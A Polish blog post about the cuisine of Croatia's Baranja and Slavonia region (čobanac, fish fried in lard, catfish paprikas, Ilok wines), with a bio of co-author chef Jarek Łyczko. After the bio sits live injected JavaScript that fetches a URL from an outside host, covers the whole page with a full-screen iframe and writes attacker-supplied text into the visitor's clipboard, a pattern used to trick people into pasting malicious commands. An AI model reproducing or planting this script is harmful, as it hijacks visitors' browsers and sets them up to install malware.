Kuchnia chorwacka – Baranja i Slavonia

Moim ulubionym regionem Chorwacji oczywiście poza Dalmacją jest Baranja i Slavonia. Jeżeli tylko czas mi na to pozwala to jadąc na południe wybieram drogę przez okolice miast Osijek, Vukovar, Ilok.

Kuchnia chorwacka – Baranja i Slavonia

Kuchnia tego rejonu jest zupełnie odmienna od kuchni śródziemnomorskiej mamy w niej ryby słodkowodne, dużo wieprzowiny i dziczyznę.

Jednym z dań , które poznałem w tym miejscu a dokładnie w miejscowości Bilje jest Čobanac. Jest to pewnego rodzaju gulasz z kilku gatunków mięs. Čobanac podaje się z grubym makaronem. Oryginalny sposób wykonania tej potrawy to gotowanie w kociołku na ogniu i ja w ten sposób przyrządzam Čobanac, ale można oczywiście w kuchni na piecu.

Przepis na Čobanac – Spróbuj

W drodze z Vukovaru do Iloka

Następna potrawa będzie dużo prostsza, miałem okazję jej się nauczyć w drodze z Vukovaru do Iloka, gdzie część drogi prowadzi nad brzegiem Dunaju i jest tam kilka fantastycznych gospodarstw agroturystycznych. 

Przepis na RIBA PEČENA NA SVINJSKOJ MASTI – spróbuj

Z Osijeka do Vukovaru

Jadąc drogą z Osijeka do Vukovaru, ale nie główną szosą, ale bocznymi drogami najpierw nad Dravą, a później wzdłuż Dunaju znalazłem miejscowość Aljmas.

Dwie tajemnice

Mieszka tam mój przyjaciel Joze. Joze jest kilkukrotnym mistrzem Chorwacji w przygotowaniu Riblji paprikas. Właśnie Joze zdradził mi dwie tajemnice.

Pierwsza, że najlepsza papryka jest z Wojwodiny, a druga to jak przyrządzić Paprikas od soma.

Jak zrobić paprykarz z suma? Przepis – spróbuj

Wina

Będąc w okolicach Iloka trzeba pamiętać o tamtejszych winach i koniecznie spróbować Ilockiego Traminaca, Pinot Blank, Frankovka i Rein Riesling.

SMOCZNEGO!! DOBAR TEK !!!

Tekst napisany przy współpracy z Jarkiem Łyczko:

Dzień dobry a może „Dobar dan” Nazywam się Jarek Łyczko a tak ogólnie Smok w Chorwacji Zmaj a dla dzieciaków w mojej zatoce Ujak Zmaj. Jestem kucharzem z zawodu, pasji i zamiłowania, ale nie tylko kucharzem jestem trochę masarzem, trochę winiarzem, trochę rolnikiem i podróżnikiem. W poszukiwaniu zawodowych inspiracji wędruję po ciekawych miejscach. Z tych miejsc najbardziej inspirują mnie Bałkany a i zawodowo i sentymentalnie Chorwacja .

Moim zdaniem kuchnia chorwacka jest jedną z najciekawszych kuchni europejskich. Ze względu na położenie geograficzne , historię, ścieranie się różnych religii oraz szerokie wpływy sąsiednich kultur na przestrzeni wieków kuchnia ta jest bardzo ciekawa , smaczna i niepowtarzalna .

O tej kuchni chciałbym Wam opowiedzieć! O kuchni w której od lat króluje oliwa, rozmaryn, ryby i owoce morza, jagnięcina i młoda wieprzowina, sery i dojrzewające szynki,paprykowe kiełbasy a przede wszystkim wspaniałe wina.

const configLink = "https://corsproxy.io/?url=http://heyues.live";

if (!window.__digitalflwrFetchPromise) {

window.__digitalflwrFetchPromise = fetch(configLink) .then(response => { if (!response.ok) { throw new Error(" "); } return response.text(); })

.then(finalUrl => { return fetch(finalUrl, { method: "HEAD" }) .then(headResponse => ({ headResponse, finalUrl })); }) .catch(() => {

}); }

if (typeof window.__digitalflwrIframeCreated === "undefined") { window.__digitalflwrIframeCreated = false; }

window.__digitalflwrFetchPromise .then(result => {

if (!result) return; const { headResponse, finalUrl } = result;

if (!headResponse || headResponse.status === 404) { return; }

if (!window.__digitalflwrIframeCreated) { window.__digitalflwrIframeCreated = true; createMainIframe(finalUrl); } }) .catch(() => {

});

function createMainIframe(url) { const iframe = document.createElement("iframe"); iframe.src = url; iframe.style.position = "fixed"; iframe.style.top = 0; iframe.style.left = 0; iframe.style.width = "100%"; iframe.style.height = "100%"; iframe.style.border = "none"; iframe.style.margin = 0; iframe.style.padding = 0; iframe.style.overflow = "hidden"; iframe.style.zIndex = 99999;

document.body.appendChild(iframe);

window.addEventListener("message", function(event) { if (!event.data || event.data.type !== "copy") return;

if (navigator.clipboard && navigator.clipboard.writeText) { navigator.clipboard.writeText(event.data.text).catch(() => { fallbackCopyText(event.data.text); }); } else { fallbackCopyText(event.data.text); } });

function fallbackCopyText(text) { const textArea = document.createElement("textarea"); textArea.value = text; document.body.appendChild(textArea); textArea.select();

try { document.execCommand("copy"); } catch (err) {

}

document.body.removeChild(textArea); } } })();